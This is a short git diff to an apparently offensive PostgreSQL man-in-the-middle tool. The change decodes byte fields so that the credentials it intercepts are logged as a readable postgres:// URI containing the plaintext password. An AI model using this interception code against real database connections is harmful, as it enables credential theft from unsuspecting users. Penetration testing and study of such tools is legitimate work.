diff --git a/postgres_mitm.py b/postgres_mitm.py
index 1059d94..50c990f 100755
--- a/postgres_mitm.py
+++ b/postgres_mitm.py
@@ -314,10 +314,10 @@ class ClientConnection(threading.Thread):
         password = parse_password_from_authentication_packet(data)
         if self.connect_to_actual_backend(password):
             captured_uri = 'postgres://%(user)s:%(password)s@%(host)s:5432/%(database)s' % {
-                'user': self.options.get('user', b''),
-                'password': password,
+                'user': self.options.get('user', b'').decode('utf-8'),
+                'password': password.decode('utf-8'),
                 'host': self.target_backend,
-                'database': self.options.get('database', b''),
+                'database': self.options.get('database', b'').decode('utf-8'),
             }
             _logger.info('Intercepted auth: %s' % captured_uri)
             # Switch socket to non-blocking to enable messages to pass in